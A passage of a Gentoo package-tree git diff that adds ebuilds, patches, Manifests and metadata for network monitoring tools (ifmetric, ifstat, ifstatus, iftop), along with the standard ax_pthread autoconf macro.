+ elog "DB IDO schema upgrade required. http://docs.icinga.org/icinga2/snapshot/chapter-2.html#upgrading-the-mysql-database"
+ elog "You will need to update your configuration files, see https://dev.icinga.org/issues/5909"
+}
diff --git a/net-analyzer/icinga2/metadata.xml b/net-analyzer/icinga2/metadata.xml
new file mode 100644
index 000000000000..3f16cd231530
--- /dev/null
+++ b/net-analyzer/icinga2/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+<email>prometheanfire@gentoo.org</email>
+<name>Matthew Thode</name>
+</maintainer>
+ <use>
+ <flag name="classicui">Adds support for the old interface</flag>
+ <flag name="nano-syntax">Adds support for syntax used in the nano editor</flag>
+ <flag name="plugins">Adds support for nagios plugins</flag>
+ </use>
+</pkgmetadata>
diff --git a/net-analyzer/ifmetric/Manifest b/net-analyzer/ifmetric/Manifest
new file mode 100644
index 000000000000..90231ad2e6f3
--- /dev/null
+++ b/net-analyzer/ifmetric/Manifest
@@ -0,0 +1 @@
+DIST ifmetric-0.3.tar.gz 81502 SHA256 0fa8510a4e34e555f136f9df81d26618313f2d69a4880c0fb5967f19502f1aec SHA512 301d6bc1c97a59597fe55d81a04c1b654aee24d12ac10201ab56cf23b5164808270f15c142cc49142787db70b400cc18b96561aefcf212111ba47df28f07aa95 WHIRLPOOL 66e79bed3ed472d4fddd46a96d4fa60c4cb733481a610fa442aa686fbd9c5d1f3726e3bff9aafed7e5617007e829d096c5a001740c0cb687e4231a46a8854adf
diff --git a/net-analyzer/ifmetric/files/ifmetric-0.3-ul.patch b/net-analyzer/ifmetric/files/ifmetric-0.3-ul.patch
new file mode 100644
index 000000000000..eb432dc29c0e
--- /dev/null
+++ b/net-analyzer/ifmetric/files/ifmetric-0.3-ul.patch
@@ -0,0 +1,11 @@
+--- a/src/nlrequest.c
++++ b/src/nlrequest.c
+@@ -56,7 +56,7 @@
+ int ret;
+
+ if (!NLMSG_OK(p, bytes) || bytes < sizeof(struct nlmsghdr) || bytes < p->nlmsg_len) {
+- fprintf(stderr, "NETLINK: Packet too small or truncated! %u!=%u!=%u\n", bytes, sizeof(struct nlmsghdr), p->nlmsg_len);
++ fprintf(stderr, "NETLINK: Packet too small or truncated! %u!=%lu!=%u\n", bytes, sizeof(struct nlmsghdr), p->nlmsg_len);
+ return -1;
+ }
+
diff --git a/net-analyzer/ifmetric/ifmetric-0.3-r1.ebuild b/net-analyzer/ifmetric/ifmetric-0.3-r1.ebuild
new file mode 100644
index 000000000000..51d845bb2902
--- /dev/null
+++ b/net-analyzer/ifmetric/ifmetric-0.3-r1.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="Linux tool for setting metrics of all IPv4 routes attached to a given network interface at once"
+HOMEPAGE="http://0pointer.de/lennart/projects/ifmetric/"
+SRC_URI="http://0pointer.de/lennart/projects/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+
+DEPEND="sys-kernel/linux-headers"
+
+DOCS=( README )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-ul.patch
+}
+
+src_configure() {
+ # man page and HTML are already generated
+ econf \
+ --disable-xmltoman \
+ --disable-lynx
+}
+
+src_install() {
+ default
+ dohtml doc/README.html
+}
diff --git a/net-analyzer/ifmetric/ifmetric-0.3.ebuild b/net-analyzer/ifmetric/ifmetric-0.3.ebuild
new file mode 100644
index 000000000000..8ddcc25e0763
--- /dev/null
+++ b/net-analyzer/ifmetric/ifmetric-0.3.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+DESCRIPTION="Linux tool for setting metrics of all IPv4 routes attached to a given network interface at once"
+HOMEPAGE="http://0pointer.de/lennart/projects/ifmetric/"
+SRC_URI="http://0pointer.de/lennart/projects/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+IUSE=""
+
+# NOTE: this app is linux-only, virtual/os-headers therefore is incorrect
+DEPEND="sys-kernel/linux-headers"
+RDEPEND=""
+
+DOCS=( README )
+
+src_configure() {
+ # man page and HTML are already generated
+ econf \
+ --disable-xmltoman \
+ --disable-lynx
+}
+
+src_install() {
+ default
+ dohtml doc/README.html
+}
diff --git a/net-analyzer/ifmetric/metadata.xml b/net-analyzer/ifmetric/metadata.xml
new file mode 100644
index 000000000000..78692635ad22
--- /dev/null
+++ b/net-analyzer/ifmetric/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/ifstat/Manifest b/net-analyzer/ifstat/Manifest
new file mode 100644
index 000000000000..fd0f65211e8f
--- /dev/null
+++ b/net-analyzer/ifstat/Manifest
@@ -0,0 +1 @@
+DIST ifstat-1.1.tar.gz 67920 SHA256 8599063b7c398f9cfef7a9ec699659b25b1c14d2bc0f535aed05ce32b7d9f507 SHA512 b1aef8e7b14cbf265e2d42277478fd12a565287f90f37b0a826ba3e7d29640df757c7d56f149e406bf5890663ed734b2c658c4f1e2b258ded3649f2fc3e9ac64 WHIRLPOOL 9db65eafd8306e0059dd08c34db4eb17dfcef1b32dd7b3bbad21501afc8aedf40a694367fde98d5204d4dcae4f915bb1f2f4301bc3eec3326c80e031097492ba
diff --git a/net-analyzer/ifstat/files/ifstat-1.1-hardened.patch b/net-analyzer/ifstat/files/ifstat-1.1-hardened.patch
new file mode 100644
index 000000000000..10c377ac7678
--- /dev/null
+++ b/net-analyzer/ifstat/files/ifstat-1.1-hardened.patch
@@ -0,0 +1,11 @@
+--- a/configure.in
++++ b/configure.in
+@@ -58,7 +58,7 @@
+ /*) file=$with_proc; with_proc=yes ;;
+ *) file=/proc/net/dev
+ AC_MSG_CHECKING([for proc interface in $file])
+- if grep -q Inter- $file 2>/dev/null; then
++ if true; then
+ AC_DEFINE([USE_PROC], 1, [Define if you want to use /proc to get stats])
+ AC_DEFINE_UNQUOTED([PROC_FILE], ["$file"], [Proc file to poll for stats])
+ with_proc=yes
diff --git a/net-analyzer/ifstat/files/ifstat-1.1-make.patch b/net-analyzer/ifstat/files/ifstat-1.1-make.patch
new file mode 100644
index 000000000000..62feb8b0005a
--- /dev/null
+++ b/net-analyzer/ifstat/files/ifstat-1.1-make.patch
@@ -0,0 +1,122 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -65,14 +65,14 @@
+ install: install-$(TARGET) install-@LIBTARGET@
+
+ install-$(TARGET): $(TARGET)
+- $(INSTALL) -d -m 755 $(bindir)
+- $(INSTALL) -s -m 755 $(TARGET) $(bindir)/$(TARGET)
+- $(INSTALL) -d -m 755 $(mandir)/man1
+- $(INSTALL) -m 644 ifstat.1 $(mandir)/man1/ifstat.1
++ $(INSTALL) -d -m 755 $(DESTDIR)/$(bindir)
++ $(INSTALL) -m 755 $(TARGET) $(DESTDIR)/$(bindir)/$(TARGET)
++ $(INSTALL) -d -m 755 $(DESTDIR)/$(mandir)/man1
++ $(INSTALL) -m 644 ifstat.1 $(DESTDIR)/$(mandir)/man1/ifstat.1
+
+ install-$(LIBTARGET): $(LIBTARGET) libifstat-config
+- $(INSTALL) -d -m 755 $(bindir)
+- $(INSTALL) -m 755 libifstat-config $(bindir)/libifstat-config
++ $(INSTALL) -d -m 755 $(DESTDIR)/$(bindir)
++ $(INSTALL) -m 755 libifstat-config $(DESTDIR)/$(bindir)/libifstat-config
+ $(INSTALL) -d -m 755 $(includedir)
+ $(INSTALL) -m 644 ifstat.h $(includedir)/ifstat.h
+ $(INSTALL) -d -m 755 $(libdir)
+--- a/configure.in
++++ b/configure.in
+@@ -55,9 +55,8 @@
+ # checking for proc (Linux)
+ if test "x$with_proc" != "xno"; then
+ case "$with_proc" in
+- /*) file=$with_proc ;;
+- *) file=/proc/net/dev ;;
+- esac
++ /*) file=$with_proc; with_proc=yes ;;
++ *) file=/proc/net/dev
+ AC_MSG_CHECKING([for proc interface in $file])
+ if grep -q Inter- $file 2>/dev/null; then
+ AC_DEFINE([USE_PROC], 1, [Define if you want to use /proc to get stats])
+@@ -69,6 +68,8 @@
+ with_proc=no
+ fi
+ AC_MSG_RESULT([$with_proc])
++ ;;
++ esac
+ fi
+
+ # checking for kstat (Solaris)
+@@ -393,7 +394,7 @@
+ [snmp_ok=yes], [snmp_ok=no])
+ AC_MSG_RESULT([$snmp_ok])
+ if test "x$snmp_ok" = "xyes"; then
+- with_snmp=yes
++ use_snmp=yes
+ snmp_type=net
+ else
+ CPPFLAGS="$OCPPFLAGS"
+@@ -402,22 +403,22 @@
+ fi
+
+ if test "x$snmp_ok" != "xyes"; then
+- if test "x$with_snmp" != "xyes" ; then
++ if test "x$use_snmp" != "xyes" ; then
+ CPPFLAGS="$CPPFLAGS -I$with_snmp/include"
+ LDFLAGS="$LDFLAGS -L$with_snmp/lib"
+ fi
+ AC_CHECK_HEADER(net-snmp/net-snmp-config.h, snmp_type=net,
+ [AC_CHECK_HEADER(ucd-snmp/ucd-snmp-config.h,
+- snmp_type=ucd, with_snmp=no)])
++ snmp_type=ucd, use_snmp=no)])
+
+- if test "x$with_snmp" != "xno"; then
++ if test "x$use_snmp" != "xno"; then
+ if test "x$snmp_type" = "xnet"; then
+ libsnmp="-lnetsnmp"
+ else
+ libsnmp="-lsnmp"
+ fi
+
+- with_snmp=no
++ use_snmp=no
+ SNMPLIBALONE="$libsnmp"
+ # Setting to be able to force linking with -lcrypto....
+ # This is needed on OpenBSD (at least) where the snmplib port links without -lcrypto,
+@@ -429,18 +430,18 @@
+ SNMPLIBALONE=""
+ fi
+ for lib in $SNMPLIBALONE "$libsnmp -lcrypto" ; do
+- if test "x$with_snmp" != "xyes" ; then
++ if test "x$use_snmp" != "xyes" ; then
+ AC_MSG_CHECKING([for snmp support in $lib])
+ OLIBS="$LIBS"
+ LIBS="$LIBS $lib"
+ AC_TRY_LINK([], [snmp_sess_init();],
+- [with_snmp=yes], [LIBS="$OLIBS"])
+- AC_MSG_RESULT([$with_snmp])
++ [use_snmp=yes], [LIBS="$OLIBS"])
++ AC_MSG_RESULT([$use_snmp])
+ fi
+ done
+ fi
+ fi
+- if test "x$with_snmp" = "xyes" ; then
++ if test "x$use_snmp" = "xyes" ; then
+ AC_DEFINE([USE_SNMP], 1, [Define if you have SNMP support])
+ if test "x$snmp_type" = "xnet"; then
+ AC_DEFINE([HAVE_NET_SNMP], 1,
+@@ -464,10 +465,13 @@
+
+ # checking that we do have at least one driver
+ if test "x$local" != "xyes"; then
++ AC_MSG_WARN([no native stats gathering mechanism found; will use SNMP.])
+ if test "x$with_snmp" = "xyes"; then
+- AC_MSG_WARN([no native stats gathering mechanism found; will use SNMP.])
+- else
+- AC_MSG_ERROR([no statistics gathering methods found, porting needed.])
++ if test "x$use_snmp" = "xno"; then
++ AC_MSG_ERROR([net-snmp requested but not found.])
++ else
++ AC_MSG_ERROR([no statistics gathering methods found, porting needed.])
++ fi
+ fi
+ fi
+
diff --git a/net-analyzer/ifstat/ifstat-1.1-r2.ebuild b/net-analyzer/ifstat/ifstat-1.1-r2.ebuild
new file mode 100644
index 000000000000..4005bb857a14
--- /dev/null
+++ b/net-analyzer/ifstat/ifstat-1.1-r2.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+inherit autotools eutils
+
+IUSE="snmp"
+
+DESCRIPTION="Network interface bandwidth usage, with support for snmp targets"
+SRC_URI="http://gael.roualland.free.fr/ifstat/${P}.tar.gz"
+HOMEPAGE="http://gael.roualland.free.fr/ifstat/"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~alpha amd64 hppa ~mips ppc ppc64 sparc x86"
+
+DEPEND="snmp? ( >=net-analyzer/net-snmp-5.0 )"
+RDEPEND="${DEPEND}"
+
+DOCS=( HISTORY README TODO )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-make.patch
+ epatch "${FILESDIR}"/${P}-hardened.patch
+
+ eautoreconf
+}
+
+src_configure() {
+ econf $(use_with snmp)
+}
diff --git a/net-analyzer/ifstat/metadata.xml b/net-analyzer/ifstat/metadata.xml
new file mode 100644
index 000000000000..73fc3f8a1863
--- /dev/null
+++ b/net-analyzer/ifstat/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <maintainer>
+ <email>jer@gentoo.org</email>
+ </maintainer>
+ <longdescription>
+ ifstat is a utility to monitor network interface bandwidth usage, with
+ vmstat look and feel.
+ </longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/ifstatus/Manifest b/net-analyzer/ifstatus/Manifest
new file mode 100644
index 000000000000..c2625e628c23
--- /dev/null
+++ b/net-analyzer/ifstatus/Manifest
@@ -0,0 +1 @@
+DIST ifstatus-v1.1.0.tar.gz 25233 SHA256 0ca8a8655a1edf07698efbd5e1d4adc962dbb1bfb078b4899062e89bb05eac10 SHA512 2660310be7186067315414218e3d3d269499e391c7ffa12022ac53a0456ddbe0f7d5562b788fe6b2569b7d0eba7acf5699e0386769a91606a3e14b51239a2766 WHIRLPOOL 7aebc62d229160a07a28e876d2d7daa6847ed16d6c6b0f457de70d85584afce36f6e4903befb383720426f6ee20def4d1d02245fabf8671a6df367517d2a648b
diff --git a/net-analyzer/ifstatus/files/ifstatus-1.1.0-gcc43.patch b/net-analyzer/ifstatus/files/ifstatus-1.1.0-gcc43.patch
new file mode 100644
index 000000000000..27111d7576f4
--- /dev/null
+++ b/net-analyzer/ifstatus/files/ifstatus-1.1.0-gcc43.patch
@@ -0,0 +1,10 @@
+--- a/Main.h
++++ b/Main.h
+@@ -38,6 +38,7 @@
+ #include <unistd.h>
+ #include <string.h>
+ #include <curses.h>
++#include <stdlib.h>
+
+ #include <sys/time.h>
+ #include <sys/types.h>
diff --git a/net-analyzer/ifstatus/files/ifstatus-1.1.0-tinfo.patch b/net-analyzer/ifstatus/files/ifstatus-1.1.0-tinfo.patch
new file mode 100644
index 000000000000..e2c14e6add71
--- /dev/null
+++ b/net-analyzer/ifstatus/files/ifstatus-1.1.0-tinfo.patch
@@ -0,0 +1,22 @@
+--- a/Makefile
++++ b/Makefile
+@@ -1,9 +1,7 @@
+ # Makefile for IFStatus
+ # Gabriel Montenegro
+
+-GCC = g++
+-LDFLAGS = -lncurses
+-CFLAGS = -O2 -Wall
++LDLIBS = $(shell $(PKG_CONFIG) --libs ncurses)
+
+ BIN = ifstatus
+ OBJ = BorderDecorator.o\
+@@ -30,7 +28,7 @@
+ all : ifstatus printdone
+
+ ifstatus : $(OBJ)
+- $(GCC) $(CFLAGS) $(LDFLAGS) $^ -o $@
++ $(LINK.cc) $^ $(LDLIBS) -o $@
+
+ printdone:
+ @if [ -e "./${BIN}" ]; then echo "Compiled.."; else echo "Error compiling!"; fi
diff --git a/net-analyzer/ifstatus/ifstatus-1.1.0-r1.ebuild b/net-analyzer/ifstatus/ifstatus-1.1.0-r1.ebuild
new file mode 100644
index 000000000000..f5cad000f1d8
--- /dev/null
+++ b/net-analyzer/ifstatus/ifstatus-1.1.0-r1.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+KEYWORDS="amd64 arm ~ppc x86"
+
+DESCRIPTION="A simple CLI program for displaying network statistics in real time"
+HOMEPAGE="http://ifstatus.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${PN}-v${PV}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+
+RDEPEND=">=sys-libs/ncurses-4.2"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+S="${WORKDIR}/${PN}"
+
+src_prepare() {
+ epatch "${FILESDIR}/${P}-gcc43.patch"
+ epatch "${FILESDIR}/${P}-tinfo.patch"
+ tc-export CXX PKG_CONFIG
+}
+
+src_install() {
+ dobin ifstatus
+ dodoc AUTHORS README
+}
+
+pkg_postinst() {
+ elog "You may want to configure ~/.ifstatus/ifstatus.cfg"
+ elog "before running ifstatus. For example, you may add"
+ elog "Interfaces = eth0 there. Read the README file for"
+ elog "more information."
+}
diff --git a/net-analyzer/ifstatus/metadata.xml b/net-analyzer/ifstatus/metadata.xml
new file mode 100644
index 000000000000..0bda9893d463
--- /dev/null
+++ b/net-analyzer/ifstatus/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">ifstatus</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/iftop/Manifest b/net-analyzer/iftop/Manifest
new file mode 100644
index 000000000000..616233396884
--- /dev/null
+++ b/net-analyzer/iftop/Manifest
@@ -0,0 +1 @@
+DIST iftop-1.0pre4.tar.gz 204665 SHA256 f733eeea371a7577f8fe353d86dd88d16f5b2a2e702bd96f5ffb2c197d9b4f97 SHA512 abd74e8025bb82fef9ebab4997b1d018201a523d47c0128128ca37797490046538d74758dc4471735c22b890e5bd238ad6b2a30776d465138ede367cdd263d22 WHIRLPOOL 5c02d8d23fe3d73ced4c0e8626226323f2266ef16ef00dc2b00059f4a213066c22c366f9458fe516da05a59830acd581ee23f17dc92e097ca720b220e88103cb
diff --git a/net-analyzer/iftop/files/ax_pthread.m4 b/net-analyzer/iftop/files/ax_pthread.m4
new file mode 100644
index 000000000000..6d400ed4e8e2
--- /dev/null
+++ b/net-analyzer/iftop/files/ax_pthread.m4
@@ -0,0 +1,317 @@
+# ===========================================================================
+# http://www.gnu.org/software/autoconf-archive/ax_pthread.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+# AX_PTHREAD([ACTION-IF-FOUND[, ACTION-IF-NOT-FOUND]])
+#
+# DESCRIPTION
+#
+# This macro figures out how to build C programs using POSIX threads. It
+# sets the PTHREAD_LIBS output variable to the threads library and linker
+# flags, and the PTHREAD_CFLAGS output variable to any special C compiler
+# flags that are needed. (The user can also force certain compiler
+# flags/libs to be tested by setting these environment variables.)
+#
+# Also sets PTHREAD_CC to any special C compiler that is needed for
+# multi-threaded programs (defaults to the value of CC otherwise). (This
+# is necessary on AIX to use the special cc_r compiler alias.)
+#
+# NOTE: You are assumed to not only compile your program with these flags,
+# but also link it with them as well. e.g. you should link with
+# $PTHREAD_CC $CFLAGS $PTHREAD_CFLAGS $LDFLAGS ... $PTHREAD_LIBS $LIBS
+#
+# If you are only building threads programs, you may wish to use these
+# variables in your default LIBS, CFLAGS, and CC:
+#
+# LIBS="$PTHREAD_LIBS $LIBS"
+# CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+# CC="$PTHREAD_CC"
+#
+# In addition, if the PTHREAD_CREATE_JOINABLE thread-attribute constant
+# has a nonstandard name, defines PTHREAD_CREATE_JOINABLE to that name
+# (e.g. PTHREAD_CREATE_UNDETACHED on AIX).
+#
+# Also HAVE_PTHREAD_PRIO_INHERIT is defined if pthread is found and the
+# PTHREAD_PRIO_INHERIT symbol is defined when compiling with
+# PTHREAD_CFLAGS.
+#
+# ACTION-IF-FOUND is a list of shell commands to run if a threads library
+# is found, and ACTION-IF-NOT-FOUND is a list of commands to run it if it
+# is not found. If ACTION-IF-FOUND is not specified, the default action
+# will define HAVE_PTHREAD.
+#
+# Please let the authors know if this macro fails on any platform, or if
+# you have any other suggestions or comments. This macro was based on work
+# by SGJ on autoconf scripts for FFTW (http://www.fftw.org/) (with help
+# from M. Frigo), as well as ac_pthread and hb_pthread macros posted by
+# Alejandro Forero Cuervo to the autoconf macro repository. We are also
+# grateful for the helpful feedback of numerous users.
+#
+# Updated for Autoconf 2.68 by Daniel Richard G.
+#
+# LICENSE
+#
+# Copyright (c) 2008 Steven G. Johnson <stevenj@alum.mit.edu>
+# Copyright (c) 2011 Daniel Richard G. <skunk@iSKUNK.ORG>
+#
+# This program is free software: you can redistribute it and/or modify it
+# under the terms of the GNU General Public License as published by the
+# Free Software Foundation, either version 3 of the License, or (at your
+# option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
+# Public License for more details.
+#
+# You should have received a copy of the GNU General Public License along
+# with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# As a special exception, the respective Autoconf Macro's copyright owner
+# gives unlimited permission to copy, distribute and modify the configure
+# scripts that are the output of Autoconf when processing the Macro. You
+# need not follow the terms of the GNU General Public License when using
+# or distributing such scripts, even though portions of the text of the
+# Macro appear in them. The GNU General Public License (GPL) does govern
+# all other use of the material that constitutes the Autoconf Macro.
+#
+# This special exception to the GPL applies to versions of the Autoconf
+# Macro released by the Autoconf Archive. When you make and distribute a
+# modified version of the Autoconf Macro, you may extend this special
+# exception to the GPL to apply to your modified version as well.
+
+#serial 20
+
+AU_ALIAS([ACX_PTHREAD], [AX_PTHREAD])
+AC_DEFUN([AX_PTHREAD], [
+AC_REQUIRE([AC_CANONICAL_HOST])
+AC_LANG_PUSH([C])
+ax_pthread_ok=no
+
+# We used to check for pthread.h first, but this fails if pthread.h
+# requires special compiler flags (e.g. on True64 or Sequent).
+# It gets checked for in the link test anyway.
+
+# First of all, check if the user has set any of the PTHREAD_LIBS,
+# etcetera environment variables, and if threads linking works using
+# them:
+if test x"$PTHREAD_LIBS$PTHREAD_CFLAGS" != x; then
+ save_CFLAGS="$CFLAGS"
+ CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+ save_LIBS="$LIBS"
+ LIBS="$PTHREAD_LIBS $LIBS"
+ AC_MSG_CHECKING([for pthread_join in LIBS=$PTHREAD_LIBS with CFLAGS=$PTHREAD_CFLAGS])
+ AC_TRY_LINK_FUNC(pthread_join, ax_pthread_ok=yes)
+ AC_MSG_RESULT($ax_pthread_ok)
+ if test x"$ax_pthread_ok" = xno; then
+ PTHREAD_LIBS=""
+ PTHREAD_CFLAGS=""
+ fi
+ LIBS="$save_LIBS"
+ CFLAGS="$save_CFLAGS"
+fi
+
+# We must check for the threads library under a number of different
+# names; the ordering is very important because some systems
+# (e.g. DEC) have both -lpthread and -lpthreads, where one of the
+# libraries is broken (non-POSIX).
+
+# Create a list of thread flags to try. Items starting with a "-" are
+# C compiler flags, and other items are library names, except for "none"
+# which indicates that we try without any flags at all, and "pthread-config"
+# which is a program returning the flags for the Pth emulation library.
+
+ax_pthread_flags="pthreads none -Kthread -kthread lthread -pthread -pthreads -mthreads pthread --thread-safe -mt pthread-config"
+
+# The ordering *is* (sometimes) important. Some notes on the
+# individual items follow:
+
+# pthreads: AIX (must check this before -lpthread)
+# none: in case threads are in libc; should be tried before -Kthread and
+# other compiler flags to prevent continual compiler warnings
+# -Kthread: Sequent (threads in libc, but -Kthread needed for pthread.h)
+# -kthread: FreeBSD kernel threads (preferred to -pthread since SMP-able)
+# lthread: LinuxThreads port on FreeBSD (also preferred to -pthread)
+# -pthread: Linux/gcc (kernel threads), BSD/gcc (userland threads)
+# -pthreads: Solaris/gcc
+# -mthreads: Mingw32/gcc, Lynx/gcc
+# -mt: Sun Workshop C (may only link SunOS threads [-lthread], but it
+# doesn't hurt to check since this sometimes defines pthreads too;
+# also defines -D_REENTRANT)
+# ... -mt is also the pthreads flag for HP/aCC
+# pthread: Linux, etcetera
+# --thread-safe: KAI C++
+# pthread-config: use pthread-config program (for GNU Pth library)
+
+case ${host_os} in
+ solaris*)
+
+ # On Solaris (at least, for some versions), libc contains stubbed
+ # (non-functional) versions of the pthreads routines, so link-based
+ # tests will erroneously succeed. (We need to link with -pthreads/-mt/
+ # -lpthread.) (The stubs are missing pthread_cleanup_push, or rather
+ # a function called by this macro, so we could check for that, but
+ # who knows whether they'll stub that too in a future libc.) So,
+ # we'll just look for -pthreads and -lpthread first:
+
+ ax_pthread_flags="-pthreads pthread -mt -pthread $ax_pthread_flags"
+ ;;
+
+ darwin*)
+ ax_pthread_flags="-pthread $ax_pthread_flags"
+ ;;
+esac
+
+if test x"$ax_pthread_ok" = xno; then
+for flag in $ax_pthread_flags; do
+
+ case $flag in
+ none)
+ AC_MSG_CHECKING([whether pthreads work without any flags])
+ ;;
+
+ -*)
+ AC_MSG_CHECKING([whether pthreads work with $flag])
+ PTHREAD_CFLAGS="$flag"
+ ;;
+
+ pthread-config)
+ AC_CHECK_PROG(ax_pthread_config, pthread-config, yes, no)
+ if test x"$ax_pthread_config" = xno; then continue; fi
+ PTHREAD_CFLAGS="`pthread-config --cflags`"
+ PTHREAD_LIBS="`pthread-config --ldflags` `pthread-config --libs`"
+ ;;
+
+ *)
+ AC_MSG_CHECKING([for the pthreads library -l$flag])
+ PTHREAD_LIBS="-l$flag"
+ ;;
+ esac
+
+ save_LIBS="$LIBS"
+ save_CFLAGS="$CFLAGS"
+ LIBS="$PTHREAD_LIBS $LIBS"
+ CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+
+ # Check for various functions. We must include pthread.h,
+ # since some functions may be macros. (On the Sequent, we
+ # need a special flag -Kthread to make this header compile.)
+ # We check for pthread_join because it is in -lpthread on IRIX
+ # while pthread_create is in libc. We check for pthread_attr_init
+ # due to DEC craziness with -lpthreads. We check for
+ # pthread_cleanup_push because it is one of the few pthread
+ # functions on Solaris that doesn't have a non-functional libc stub.
+ # We try pthread_create on general principles.
+ AC_LINK_IFELSE([AC_LANG_PROGRAM([#include <pthread.h>
+ static void routine(void *a) { a = 0; }
+ static void *start_routine(void *a) { return a; }],
+ [pthread_t th; pthread_attr_t attr;
+ pthread_create(&th, 0, start_routine, 0);
+ pthread_join(th, 0);
+ pthread_attr_init(&attr);
+ pthread_cleanup_push(routine, 0);
+ pthread_cleanup_pop(0) /* ; */])],
+ [ax_pthread_ok=yes],
+ [])
+
+ LIBS="$save_LIBS"
+ CFLAGS="$save_CFLAGS"
+
+ AC_MSG_RESULT($ax_pthread_ok)
+ if test "x$ax_pthread_ok" = xyes; then
+ break;
+ fi
+
+ PTHREAD_LIBS=""
+ PTHREAD_CFLAGS=""
+done
+fi
+
+# Various other checks:
+if test "x$ax_pthread_ok" = xyes; then
+ save_LIBS="$LIBS"
+ LIBS="$PTHREAD_LIBS $LIBS"
+ save_CFLAGS="$CFLAGS"
+ CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+
+ # Detect AIX lossage: JOINABLE attribute is called UNDETACHED.
+ AC_MSG_CHECKING([for joinable pthread attribute])
+ attr_name=unknown
+ for attr in PTHREAD_CREATE_JOINABLE PTHREAD_CREATE_UNDETACHED; do
+ AC_LINK_IFELSE([AC_LANG_PROGRAM([#include <pthread.h>],
+ [int attr = $attr; return attr /* ; */])],
+ [attr_name=$attr; break],
+ [])
+ done
+ AC_MSG_RESULT($attr_name)
+ if test "$attr_name" != PTHREAD_CREATE_JOINABLE; then
+ AC_DEFINE_UNQUOTED(PTHREAD_CREATE_JOINABLE, $attr_name,
+ [Define to necessary symbol if this constant
+ uses a non-standard name on your system.])
+ fi
+
+ AC_MSG_CHECKING([if more special flags are required for pthreads])
+ flag=no
+ case ${host_os} in
+ aix* | freebsd* | darwin*) flag="-D_THREAD_SAFE";;
+ osf* | hpux*) flag="-D_REENTRANT";;
+ solaris*)
+ if test "$GCC" = "yes"; then
+ flag="-D_REENTRANT"
+ else
+ flag="-mt -D_REENTRANT"
+ fi
+ ;;
+ esac
+ AC_MSG_RESULT(${flag})
+ if test "x$flag" != xno; then
+ PTHREAD_CFLAGS="$flag $PTHREAD_CFLAGS"
+ fi
+
+ AC_CACHE_CHECK([for PTHREAD_PRIO_INHERIT],
+ ax_cv_PTHREAD_PRIO_INHERIT, [
+ AC_LINK_IFELSE([
+ AC_LANG_PROGRAM([[#include <pthread.h>]], [[int i = PTHREAD_PRIO_INHERIT;]])],
+ [ax_cv_PTHREAD_PRIO_INHERIT=yes],
+ [ax_cv_PTHREAD_PRIO_INHERIT=no])
+ ])
+ AS_IF([test "x$ax_cv_PTHREAD_PRIO_INHERIT" = "xyes"],
+ AC_DEFINE([HAVE_PTHREAD_PRIO_INHERIT], 1, [Have PTHREAD_PRIO_INHERIT.]))
+
+ LIBS="$save_LIBS"
+ CFLAGS="$save_CFLAGS"
+
+ # More AIX lossage: compile with *_r variant
+ if test "x$GCC" != xyes; then
+ case $host_os in
+ aix*)
+ AS_CASE(["x/$CC"],
+ [x*/c89|x*/c89_128|x*/c99|x*/c99_128|x*/cc|x*/cc128|x*/xlc|x*/xlc_v6|x*/xlc128|x*/xlc128_v6],
+ [#handle absolute path differently from PATH based program lookup
+ AS_CASE(["x$CC"],
+ [x/*],
+ [AS_IF([AS_EXECUTABLE_P([${CC}_r])],[PTHREAD_CC="${CC}_r"])],
+ [AC_CHECK_PROGS([PTHREAD_CC],[${CC}_r],[$CC])])])
+ ;;
+ esac
+ fi
+fi
+
+test -n "$PTHREAD_CC" || PTHREAD_CC="$CC"
+
